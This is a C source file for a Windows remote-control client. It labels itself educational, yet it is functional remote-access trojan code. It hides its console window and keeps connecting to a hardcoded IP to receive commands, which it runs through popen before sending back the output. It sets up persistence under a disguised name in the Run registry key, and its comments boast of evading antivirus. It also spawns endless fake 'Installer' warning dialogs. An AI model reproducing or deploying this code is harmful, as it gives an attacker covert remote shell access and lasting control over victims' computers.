//It's a very simple application for controling remote computer on windows. Mainly in local net. // WARNING IT'S NOT A MALWARE!!!, it's only a very simple bunch of code. Only for education purpose. //This is a client part of TCP/IP. This code you have to use on remote computer //This code uses some WINAPI functions, but only for creating some messages windows. And adding info in winreg //Also you can do the same things without windows API, only using command prompt and POSIX functions //So as you can see its a very small app (150-200 kBytes). But it has some dangerouse functions for controlling remote computer. //And forexample my antivirus software dosen't find this activity //So be very careful in the internet!!! Some bad guys, who knows C coding very well, might be very dangerouse :))))) #include #include #include #include #include #include #include #include #include #include int hSock = 0; // handle for socket connection void Shell (void); // function for executing shell command on remote computer void str_cut (char **str, int size); //some helper function void *msg (void *arg);// blocks windows using message windows pthread_t thread_msg = 0; int bootRun ();// function for adding our code to WinRegister. For auto loading this bunch of code when remote computer restartered int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) // main function in windows app { HWND stealth; // handler for our program window AllocConsole(); stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(stealth, 0); // creating stealth window for our app while (1){ //infinite loop struct sockaddr_in ServerAddr; unsigned short ServPort = 50005; char *ServIP; WSADATA wsaData; ServIP = "102.118.1.6"; if (WSAStartup(MAKEWORD(2,0), &wsaData)!=0 {// connect to the server. I use win func, but also we can use POSIX functions for this operations exit (1); } hSock = socket (AF_INET, SOCK_STREAM,0); if (hSock <0) exit(1); ServerAddr.sin_family = AF_INET; ServerAddr.sin_addr.s_addr = inet_addr (ServIP); ServerAddr.sin_port = htons (ServPort); while (connect (hSock, (struct sockaddr*) & ServerAddr, sizeof (ServerAddr))!=0){ Sleep (1); } Shell (); // start our shell func close (hSock); } return 0; } void Shell (void) // execute shell commands on remote comp { char buffer [1024] = {'\0'}; char *pbuffer = buffer; char container [1024] = {'\0'}; char total_response [28384] = {'\0'}; memset (buffer, 0, sizeof (buffer)); memset (container,0,sizeof(container)); memset (total_response,0, sizeof(total_response)); recv (hSock, buffer,sizeof(buffer),0); if (strncmp ("-",buffer,1)==0){ // if message from server begins with '-' we create message window with text that we recieved from server char *head = "Installer"; HWND ActiveWindow = 0; ActiveWindow = GetForegroundWindow(); str_cut (&pbuffer,strlen (buffer)); MessageBox (ActiveWindow, buffer, head, MB_OK | MB_SETFOREGROUND | MB_ICONSTOP ); send (hSock, "talk started\n", sizeof(char)*14,0);// an send to the server this answer return; } if (strncmp ("msg",buffer, 3)== 0){ // if message from server begins with "msg" we block comp via our msg function if (pthread_create (&thread_msg, NULL, msg, NULL) !=0) { // We have to start new thread here for blocking msg. Becouse we hove to continue work with app char response[] = "\nCan't create thread for message!"; send (hSock, response, sizeof(char)*33,0); return; } send (hSock, "\nmessage sent\n", sizeof(char)*15,0); return; } if (strncmp("cd ", buffer, 3) == 0 ){ // also we can change directory and use dir command on remote computer str_cut (&pbuffer, strlen (buffer)); if (chdir(buffer)==0){ char response[] = "\nDirectory changed\n"; send (hSock, response, sizeof(char)*19,0); } else { if (errno == ENOENT) { char response[] = "Unable to locate the directory\n"; send (hSock, response, sizeof(char)*strlen (response),0); } else if (errno == EINVAL){ char response[] = "Invalid buffer.\n"; send (hSock, response, sizeof(char)*strlen(response),0); } else{ char response[] = "Unknown error.\n"; send (hSock, response, sizeof(char) * strlen (response),0); } } return; } if (strncmp ("persist", buffer, 7) == 0){ // this is for adding our programm to the Winregistry bootRun(); return; } if (strncmp ("q",buffer,1)== 0){ // exit closesocket (hSock); WSACleanup(); exit (-1); } FILE * fp; fp = popen (buffer, "r"); //creating pipe for using shell commands while (fgets (container,sizeof (container), fp)!= NULL){ strcat (total_response, container); } send (hSock, total_response, (strlen(total_response)*sizeof (char))+1, 0); pclose (fp); return; } void str_cut (char **str, int length) // helper func. In some case we need to delete first part of the server message { char *result = (char*) calloc ((length+1), sizeof (char)); char token[] = " "; char *pToken = NULL; char *PToken_final = NULL; strcpy (result, *str); pToken = strtok (result, token); PToken_final = strtok (NULL, token); strcpy (*str, PToken_final); free (result); return; } int bootRun (void) // Add to reg { char err [128] = "Failed\n"; char success[128] ="Created persistence at: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n"; TCHAR szPath[MAX_PATH]; DWORD pathLen = 0; pathLen = GetModuleFileName (NULL, szPath, MAX_PATH); if (pathLen == 0) { send (hSock, err, sizeof (err), 0); return -1; } HKEY NewVal; if (RegOpenKey (HKEY_CURRENT_USER, TEXT ("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS){ send (hSock, err, sizeof (err), 0); return -1; } DWORD PathLenInBytes = pathLen * sizeof (*szPath); if (RegSetValueEx(NewVal, TEXT ("devault"), 0, REG_SZ, (LPBYTE) szPath, PathLenInBytes)!= ERROR_SUCCESS){ RegCloseKey (NewVal); send (hSock, err, sizeof (err), 0); return -1; } RegCloseKey (NewVal); send (hSock, success, sizeof (success), 0); return 1; } void *msg (void *arg) //helper func. It's create a windows with message. Infinitive loop. For some fun :) { char *message = "Turn OFF your computer. NOW !!!!"; char *head = "Installer"; HWND ActiveWindow = 0; start: ActiveWindow = GetForegroundWindow(); if (MessageBox (ActiveWindow, message, head, MB_OK | MB_SETFOREGROUND | MB_ICONSTOP) == IDOK){ goto start; } goto start; return; }

ControlRemoteComp